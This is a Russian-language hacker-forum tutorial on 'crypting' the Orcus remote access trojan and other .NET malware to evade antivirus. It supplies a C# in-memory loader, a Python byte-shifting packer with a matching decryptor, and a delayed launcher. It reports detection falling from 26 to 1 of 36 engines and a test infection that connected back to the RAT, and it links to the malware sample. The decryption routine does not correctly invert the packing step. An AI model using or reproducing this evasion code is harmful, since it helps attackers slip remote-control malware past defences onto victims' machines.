xxx

xxx

xxx

Как и обещал, статья про криптование ратника и любых других .NET приложений

Предисловие:

Мне около недели назад кинули крипт моего модуля бота от человека, который занимается этим на дарквебе и других форумах. Файлик легко разобрался через dotPeek и я чуть охренел когда открыл его. До этого момента я думал что не особо шарю в крипте, но, как оказалось, говнокод в этом деле - залог успеха.

Материалы:

Visual Studio 2015

Python 3.5

Семпл .Net вируса (https://darkwebs.ws/threads/40801/)

2 руки

Приступим:

Открываем Visual Studio и создаем Visual C# проект (console application). Далее заходим в вкладку свойств и переключаемся на Приложение Windows. Далее заходим в ресурсы, добавляем сторонний файл (выбранный .net семпл).

В методе main прописываем:

Код:


Assembly a = Assembly.Load(Properties.Resources.sample);
MethodInfo m = a.EntryPoint;
m.Invoke(a.CreateInstance(m.Name), new string[0]);


Где sample - имя вашего файла.

Я брал билд ратника Orcus и его изначальный детект был - http://viruscheckmate.com/id/5ZpbVs6RPFo2 (26/36)

Далее выставляем сборку на Release и собираем проект. Полученный файл чекаем на детект:

http://viruscheckmate.com/id/lFhLOauveFc2 (9/36). Тремя строчками избавились от 17 детектов, но все равно это слишком много.

Основное палево происходит по сигнатурам файла, который лежит в ресурсах (ратник), т.к. байты ничем не зашифрованы и файл ничем не накрыт.

Соответственно, нам надо каким-то образом сокрыть эти сигнатуры и воткнуть файл в память пока антивирус ничего не понял.

Для этого создаем Python-скрипт, который будет шифровать наш файл в ресурсах:

Код:


import os
def encrypt():
    with open('run.exe', 'rb') as f:
        arr = f.read()
        with open('encrypted.txt', 'w') as w:
            arr2 = []
            for i in arr:
                if i % 2:
                    arr2.append(int(i) - 25) # Абсолютно любая цифра
                else:
                    arr2.append(int(i) + 15) # Абсолютно любая цифра
            for i in arr2:
                w.write(str(i) + " ")
encrypt()


Где run.exe - имя вашего .Net семпла

Запоминаем цифры которые прописали в скрипте и запускаем его. Рядом со скриптом создастся текстовый файл с зашифрованными байтами в нем. Добавляем его в ресурсы проекта, предварительно удалив старый.

Далее очищаем метод main и внизу создаем отдельный метод дешифровки байтов

Код:


public static byte[] decrypt()
{
    string enc = Properties.Resources.encrypted;
    string[] bytes = enc.Split(' ');
    byte[] decrypted = new byte[bytes.Length - 1];
    for (int i = 0; i < bytes.Length - 1; i++)
    {
        int curr = Convert.ToInt32(bytes[i]);
        if (curr % 2 == 0)
            decrypted[i] = Convert.ToByte(curr + 25); # Цифра из скрипта
        else
            decrypted[i] = Convert.ToByte(curr - 15); # Цифра из скрипта
    }
    return decrypted;
}


Устанавливаем цифры которые вставили в скрипте и дешифровка готова.

Далее это дело нужно как-то запускать. Для этого напишем еще один метод:

Код:


public static void run()
{
    Assembly a = Assembly.Load(decrypt());
    MethodInfo m = a.EntryPoint;
    m.Invoke(a.CreateInstance(m.Name), new string[0]);
}


А в методе main пропишем запуск потока с рандомной задержкой:

Код:


static void Main(string[] args)
{

    Thread.Sleep(new Random().Next(1, 35) * 1000);
    new Thread(run).Start();
          
}


Собираем проект, и получаем следующий результат - http://viruscheckmate.com/id/8fb1KgzDW8dR (1/36)

Не спрашивайте почему там есть Nod. Он просто по дефолту палит все мои продукты .-.

Билд вполне рабочий, я тестировал на виртуалке и юзер отстучал в ратник. Для красоты можно сверху накрыть темидой чтоб детект держался минимальным, но это не обязательно.

Ссылка на гайд по настройке ратника - https://darkwebs.ws/threads/40801/

Ссылка на проект и доп. файлы - https://www.sendspace.com/file/iszve3

Тема создана исключительно для новичков, просьба не использовать подобный говнокод в серьезных проектах ради своего же блага, как это делают многие "крипторы" сейчас. Это всего-лишь пища для ума, а то как вы ее воспримите и доработаете уже исключительно ваше дело.

И, да, я не помогаю с настройкой этого, и так дал все готовое)

-----------------------------------------------------

А еще скоро гайд по крипту Native файлов :3

Через RunPE, да-да :3

Report Page